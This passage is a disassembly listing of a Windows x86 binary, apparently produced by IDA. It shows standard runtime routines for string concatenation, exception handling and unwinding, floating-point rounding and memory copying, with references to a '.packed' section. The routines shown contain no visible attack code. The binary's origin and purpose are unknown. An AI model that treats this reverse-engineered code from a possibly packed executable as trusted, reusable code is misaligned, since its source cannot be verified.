		call	dword_41A124	; RtlFreeHeap


loc_40ED15:				; CODE XREF: sub_40ECAF+Aj
					; sub_40ECAF+2Aj ...
		pop	esi
		leave
		retn
sub_40ECAF	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40ED20	proc near		; CODE XREF: sub_4048B2+75p
					; sub_406DA5+E5p ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		jmp	short loc_40ED91
sub_40ED20	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40ED30	proc near		; CODE XREF: sub_4014EF+58p
					; sub_4048B2+6Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		push	edi
		test	ecx, 3
		jz	short loc_40ED4C


loc_40ED3D:				; CODE XREF: sub_40ED30+1Aj
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_40ED7F
		test	ecx, 3
		jnz	short loc_40ED3D


loc_40ED4C:				; CODE XREF: sub_40ED30+Bj
					; sub_40ED30+32j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_40ED4C
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_40ED8E
		test	ah, ah
		jz	short loc_40ED89
		test	eax, 0FF0000h
		jz	short loc_40ED84
		test	eax, 0FF000000h
		jz	short loc_40ED7F
		jmp	short loc_40ED4C
; ---------------------------------------------------------------------------


loc_40ED7F:				; CODE XREF: sub_40ED30+12j
					; sub_40ED30+4Bj
		lea	edi, [ecx-1]
		jmp	short loc_40ED91
; ---------------------------------------------------------------------------


loc_40ED84:				; CODE XREF: sub_40ED30+44j
		lea	edi, [ecx-2]
		jmp	short loc_40ED91
; ---------------------------------------------------------------------------


loc_40ED89:				; CODE XREF: sub_40ED30+3Dj
		lea	edi, [ecx-3]
		jmp	short loc_40ED91
; ---------------------------------------------------------------------------


loc_40ED8E:				; CODE XREF: sub_40ED30+39j
		lea	edi, [ecx-4]


loc_40ED91:				; CODE XREF: sub_40ED20+5j
					; sub_40ED30+52j ...
		mov	ecx, [esp+4+arg_4]
		test	ecx, 3
		jz	short loc_40EDB6


loc_40ED9D:				; CODE XREF: sub_40ED30+7Dj
		mov	dl, [ecx]
		inc	ecx
		test	dl, dl
		jz	short loc_40EE08
		mov	[edi], dl
		inc	edi
		test	ecx, 3
		jnz	short loc_40ED9D
		jmp	short loc_40EDB6
; ---------------------------------------------------------------------------


loc_40EDB1:				; CODE XREF: sub_40ED30+9Ej
					; sub_40ED30+B8j
		mov	[edi], edx
		add	edi, 4


loc_40EDB6:				; CODE XREF: sub_40ED30+6Bj
					; sub_40ED30+7Fj
		mov	edx, 7EFEFEFFh
		mov	eax, [ecx]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [ecx]
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_40EDB1
		test	dl, dl
		jz	short loc_40EE08
		test	dh, dh
		jz	short loc_40EDFF
		test	edx, 0FF0000h
		jz	short loc_40EDF2
		test	edx, 0FF000000h
		jz	short loc_40EDEA
		jmp	short loc_40EDB1
; ---------------------------------------------------------------------------


loc_40EDEA:				; CODE XREF: sub_40ED30+B6j
		mov	[edi], edx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_40EDF2:				; CODE XREF: sub_40ED30+AEj
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		mov	byte ptr [edi+2], 0
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_40EDFF:				; CODE XREF: sub_40ED30+A6j
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_40EE08:				; CODE XREF: sub_40ED30+72j
					; sub_40ED30+A2j
		mov	[edi], dl
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
sub_40ED30	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EE10	proc near		; CODE XREF: sub_4014EF+47p
					; sub_402C55+4A3p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_14], 42h
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 7FFFFFFFh
		push	eax
		call	sub_410DB0
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_40EE50
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_40EE5D
; ---------------------------------------------------------------------------


loc_40EE50:				; CODE XREF: sub_40EE10+36j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_410C9B
		pop	ecx
		pop	ecx


loc_40EE5D:				; CODE XREF: sub_40EE10+3Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40EE10	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40EE62(double)

sub_40EE62	proc near		; CODE XREF: sub_401F59+38p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_422050
		call	sub_4131E3
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_40EEE8
		call	sub_4130AB
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_40EECB
		cmp	eax, 2
		jle	short loc_40EEBD
		cmp	eax, 3
		jnz	short loc_40EECB
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Bh		; double
		call	sub_4129BB
		add	esp, 10h
		jmp	short loc_40EF2D
; ---------------------------------------------------------------------------


loc_40EEBD:				; CODE XREF: sub_40EE62+3Fj
		push	esi
		push	ebx
		call	sub_4131E3
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_40EF2D
; ---------------------------------------------------------------------------


loc_40EECB:				; CODE XREF: sub_40EE62+3Aj
					; sub_40EE62+44j
		fld	[ebp+arg_0]
		fadd	dbl_41A2D0
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Bh
		push	8
		jmp	short loc_40EF25
; ---------------------------------------------------------------------------


loc_40EEE8:				; CODE XREF: sub_40EE62+2Fj
		call	sub_413070
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_40EF0B


loc_40EEFD:				; CODE XREF: sub_40EE62+ACj
		push	esi
		push	ebx
		call	sub_4131E3
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_40EF2D
; ---------------------------------------------------------------------------


loc_40EF0B:				; CODE XREF: sub_40EE62+99j
		test	bl, 20h
		jnz	short loc_40EEFD
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Bh		; int
		push	10h		; int


loc_40EF25:				; CODE XREF: sub_40EE62+84j
		call	sub_412A0E
		add	esp, 1Ch


loc_40EF2D:				; CODE XREF: sub_40EE62+59j
					; sub_40EE62+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_40EE62	endp


; =============== S U B	R O U T	I N E =======================================



sub_40EF31	proc near		; CODE XREF: sub_41080C+9p
					; sub_4132AC+21p
					; DATA XREF: ...
		call	sub_40EF49
		call	sub_4132AC
		mov	dword_4BA260, eax
		call	sub_41325C
		fnclex
		retn
sub_40EF31	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_40EF49	proc near		; CODE XREF: sub_40EF31p
		mov	eax, offset sub_41369A
		mov	off_4241EC, offset sub_41332F
		mov	off_4241E8, eax
		mov	off_4241F0, offset sub_413395
		mov	off_4241F4, offset sub_4132D5
		mov	off_4241F8, offset sub_41337D
		mov	off_4241FC, eax
		retn
sub_40EF49	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EF84	proc near		; CODE XREF: sub_401F59+1Bp
					; sub_401F59+44p ...

var_C		= qword	ptr -0Ch
var_4		= word ptr -4
var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		fstcw	[ebp+var_2]
		wait
		mov	ax, [ebp+var_2]
		or	ah, 0Ch
		mov	[ebp+var_4], ax
		fldcw	[ebp+var_4]
		fistp	[ebp+var_C]
		fldcw	[ebp+var_2]
		mov	eax, dword ptr [ebp+var_C]
		mov	edx, dword ptr [ebp+var_C+4]
		leave
		retn
sub_40EF84	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40EFAB(double)

sub_40EFAB	proc near		; CODE XREF: sub_401FA5+82p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_422068
		call	sub_4131E3
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_40F031
		call	sub_4130AB
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_40F014
		cmp	eax, 2
		jle	short loc_40F006
		cmp	eax, 3
		jnz	short loc_40F014
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Ch		; double
		call	sub_4129BB
		add	esp, 10h
		jmp	short loc_40F076
; ---------------------------------------------------------------------------


loc_40F006:				; CODE XREF: sub_40EFAB+3Fj
		push	esi
		push	ebx
		call	sub_4131E3
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_40F076
; ---------------------------------------------------------------------------


loc_40F014:				; CODE XREF: sub_40EFAB+3Aj
					; sub_40EFAB+44j
		fld	[ebp+arg_0]
		fadd	dbl_41A2D0
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Ch
		push	8
		jmp	short loc_40F06E
; ---------------------------------------------------------------------------


loc_40F031:				; CODE XREF: sub_40EFAB+2Fj
		call	sub_413070
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_40F054


loc_40F046:				; CODE XREF: sub_40EFAB+ACj
		push	esi
		push	ebx
		call	sub_4131E3
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_40F076
; ---------------------------------------------------------------------------


loc_40F054:				; CODE XREF: sub_40EFAB+99j
		test	bl, 20h
		jnz	short loc_40F046
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Ch		; int
		push	10h		; int


loc_40F06E:				; CODE XREF: sub_40EFAB+84j
		call	sub_412A0E
		add	esp, 1Ch


loc_40F076:				; CODE XREF: sub_40EFAB+59j
					; sub_40EFAB+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_40EFAB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F07A	proc near		; CODE XREF: sub_413B0B+71p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	large fs:0, eax
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx-4]
		mov	ebp, [ebp+var_4]
		jmp	eax
sub_40F07A	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8

; =============== S U B	R O U T	I N E =======================================



sub_40F0AE	proc near		; CODE XREF: sub_413CBC+199p
					; sub_413E80+3Ep

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_40F0AE	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40F0B5	proc near		; CODE XREF: sub_413CBC+17Fp

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_40F0B5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F0BC	proc near		; CODE XREF: sub_40F26E+5Cp
					; sub_413B0B:loc_413B3Cp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, large fs:0
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], offset loc_40F0E4
		push	0
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_419A48	; RtlUnwind


loc_40F0E4:				; DATA XREF: sub_40F0BC+11o
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+4]
		and	al, 0FDh
		mov	ecx, [ebp+arg_4]
		mov	[ecx+4], eax
		mov	eax, large fs:0
		mov	ebx, [ebp+var_8]
		mov	[ebx], eax
		mov	large fs:0, ebx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_40F0BC	endp

; ---------------------------------------------------------------------------


loc_40F10B:				; CODE XREF: .packed:00419C2Cj
					; .packed:00419C49j ...
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	esi
		push	edi
		cld
		mov	[ebp-4], eax
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_413710
		add	esp, 20h
		mov	[ebp+14h], eax
		pop	edi
		pop	esi
		pop	ebx
		mov	eax, [ebp+14h]
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F141	proc near		; CODE XREF: sub_413B86+73p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+arg_4]
		and	[ebp+var_14], 0
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_10], offset sub_40F195
		inc	eax
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], eax
		mov	eax, large fs:0
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_14]
		mov	large fs:0, eax
		push	[ebp+arg_10]
		push	ecx
		push	[ebp+arg_8]
		call	sub_413F10
		mov	ecx, eax
		mov	eax, [ebp+var_14]
		mov	large fs:0, eax
		mov	eax, ecx
		leave
		retn
sub_40F141	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F195	proc near		; DATA XREF: sub_40F141+16o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cld
		mov	eax, [ebp+arg_4]
		push	0
		push	eax
		push	dword ptr [eax+10h]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_413710
		add	esp, 20h
		pop	ebp
		retn
sub_40F195	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F1BA	proc near		; CODE XREF: sub_413952+25p

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_28], 0
		mov	[ebp+var_24], offset sub_40F26E
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_14], eax
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		mov	[ebp+var_10], offset loc_40F240
		mov	[ebp+var_C], esp
		mov	[ebp+var_8], ebp
		mov	eax, large fs:0
		mov	[ebp+var_28], eax
		lea	eax, [ebp+var_28]
		mov	large fs:0, eax
		mov	[ebp+var_34], 1
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_2C], eax
		lea	eax, [ebp+var_30]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax]
		call	dword_4BA300
		pop	ecx
		pop	ecx
		and	[ebp+var_34], 0


loc_40F240:				; DATA XREF: sub_40F1BA+3Co
		cmp	[ebp+var_4], 0
		jz	short loc_40F25D
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	ebx, [ebp+var_28]
		mov	[ebx], eax
		mov	large fs:0, ebx
		jmp	short loc_40F266
; ---------------------------------------------------------------------------


loc_40F25D:				; CODE XREF: sub_40F1BA+8Aj
		mov	eax, [ebp+var_28]
		mov	large fs:0, eax


loc_40F266:				; CODE XREF: sub_40F1BA+A1j
		mov	eax, [ebp+var_34]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40F1BA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F26E	proc near		; DATA XREF: sub_40F1BA+Do

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		cld
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		and	eax, 66h
		test	eax, eax
		jz	short loc_40F291
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax+24h], 1
		push	1
		pop	eax
		jmp	short loc_40F2DE
; ---------------------------------------------------------------------------


loc_40F291:				; CODE XREF: sub_40F26E+12j
		push	1
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_413710
		add	esp, 20h
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax+24h], 0
		jnz	short loc_40F2CF
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_40F0BC


loc_40F2CF:				; CODE XREF: sub_40F26E+54j
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx+1Ch]
		mov	ebp, [ebx+20h]
		jmp	dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
		push	1
		pop	eax


loc_40F2DE:				; CODE XREF: sub_40F26E+21j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40F26E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F2E3	proc near		; CODE XREF: sub_4137AB+C6p
					; sub_413952+43p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		cmp	[ebp+arg_4], 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, [edi+0Ch]
		mov	ebx, [edi+10h]
		mov	eax, esi
		mov	[ebp+arg_0], esi
		mov	[ebp+var_4], eax
		jl	short loc_40F33A


loc_40F301:				; CODE XREF: sub_40F2E3+52j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40F30B
		call	sub_413FB2


loc_40F30B:				; CODE XREF: sub_40F2E3+21j
		mov	ecx, [ebp+arg_8]
		dec	esi
		lea	eax, [esi+esi*4]
		cmp	[ebx+eax*4+4], ecx
		lea	eax, [ebx+eax*4]
		jge	short loc_40F320
		cmp	ecx, [eax+8]
		jle	short loc_40F325


loc_40F320:				; CODE XREF: sub_40F2E3+36j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40F331


loc_40F325:				; CODE XREF: sub_40F2E3+3Bj
		mov	eax, [ebp+arg_0]
		dec	[ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], esi


loc_40F331:				; CODE XREF: sub_40F2E3+40j
		cmp	[ebp+arg_4], 0
		jge	short loc_40F301
		mov	eax, [ebp+var_4]


loc_40F33A:				; CODE XREF: sub_40F2E3+1Cj
		mov	ecx, [ebp+arg_C]
		inc	esi
		mov	[ecx], esi
		mov	ecx, [ebp+arg_10]
		mov	[ecx], eax
		cmp	eax, [edi+0Ch]
		ja	short loc_40F34E
		cmp	esi, eax
		jbe	short loc_40F353


loc_40F34E:				; CODE XREF: sub_40F2E3+65j
		call	sub_413FB2


loc_40F353:				; CODE XREF: sub_40F2E3+69j
		lea	eax, [esi+esi*4]
		pop	edi
		pop	esi
		lea	eax, [ebx+eax*4]
		pop	ebx
		leave
		retn
sub_40F2E3	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F360	proc near		; CODE XREF: sub_416728+5Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset loc_40F378
		push	[ebp+arg_0]
		call	sub_419A48	; RtlUnwind


loc_40F378:				; DATA XREF: sub_40F360+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40F360	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F380	proc near		; DATA XREF: sub_40F3A2+Ao
					; sub_40F40A+9o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

		mov	ecx, [esp+arg_0]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_40F3A1
		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_C]
		mov	[edx], eax
		mov	eax, 3

locret_40F3A1:				; CODE XREF: sub_40F380+10j
		retn
sub_40F380	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F3A2	proc near		; CODE XREF: sub_413C2C+Dp
					; sub_416728+67p ...

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_40F380
		push	large dword ptr	fs:0
		mov	large fs:0, esp


loc_40F3BF:				; CODE XREF: sub_40F3A2:loc_40F3FAj
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40F3FC
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_40F3FC
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	[esp+1Ch+var_14], ecx
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_40F3FA
		push	101h
		mov	eax, [ebx+esi*4+8]
		call	sub_40F436
		call	dword ptr [ebx+esi*4+8]


loc_40F3FA:				; CODE XREF: sub_40F3A2+44j
		jmp	short loc_40F3BF
; ---------------------------------------------------------------------------


loc_40F3FC:				; CODE XREF: sub_40F3A2+2Aj
					; sub_40F3A2+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40F3A2	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F40A	proc near		; CODE XREF: sub_413C4C+37p
		xor	eax, eax
		mov	ecx, large fs:0
		cmp	dword ptr [ecx+4], offset sub_40F380
		jnz	short locret_40F42C
		mov	edx, [ecx+0Ch]
		mov	edx, [edx+0Ch]
		cmp	[ecx+8], edx
		jnz	short locret_40F42C
		mov	eax, 1

locret_40F42C:				; CODE XREF: sub_40F40A+10j
					; sub_40F40A+1Bj
		retn
sub_40F40A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F42D	proc near		; CODE XREF: sub_413F10+1Ep
					; sub_413F10+40p
		push	ebx
		push	ecx
		mov	ebx, offset dword_42206C
		jmp	short loc_40F440
sub_40F42D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F436	proc near		; CODE XREF: sub_40F3A2+4Fp
					; sub_416728+78p
		push	ebx
		push	ecx
		mov	ebx, offset dword_42206C
		mov	ecx, [ebp+8]


loc_40F440:				; CODE XREF: sub_40F42D+7j
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		mov	[ebx+0Ch], ebp
		pop	ecx
		pop	ebx
		retn	4
sub_40F436	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40F450	proc near		; CODE XREF: sub_401FA5+5p
					; sub_402147+5p ...
		push	0FFFFFFFFh
		push	eax
		mov	eax, large fs:0
		push	eax
		mov	eax, [esp+0Ch]
		mov	large fs:0, esp
		mov	[esp+0Ch], ebp
		lea	ebp, [esp+0Ch]
		push	eax
		retn
sub_40F450	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40F46F	proc near		; CODE XREF: sub_4025DA+26p
					; .packed:004197D2p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_40ECAF
		pop	ecx
		retn
sub_40F46F	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F480	proc near		; CODE XREF: sub_40264B+3Ap
					; sub_41181A+2EFp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_40F4A0
		cmp	edi, eax
		jb	loc_40F618


loc_40F4A0:				; CODE XREF: sub_40F480+16j
		test	edi, 3
		jnz	short loc_40F4BC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_40F4DC
		rep movsd
		jmp	off_40F5C8[edx*4]
; ---------------------------------------------------------------------------


loc_40F4BC:				; CODE XREF: sub_40F480+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_40F4D4
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_40F4DC+4[eax*4]
; ---------------------------------------------------------------------------


loc_40F4D4:				; CODE XREF: sub_40F480+46j
		jmp	dword ptr loc_40F5D8[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_40F4DC:				; CODE XREF: sub_40F480+31j
					; sub_40F480+8Ej ...
		jmp	off_40F55C[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_40F4F0
		dd offset loc_40F51C
		dd offset loc_40F540
; ---------------------------------------------------------------------------


loc_40F4F0:				; DATA XREF: sub_40F480+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
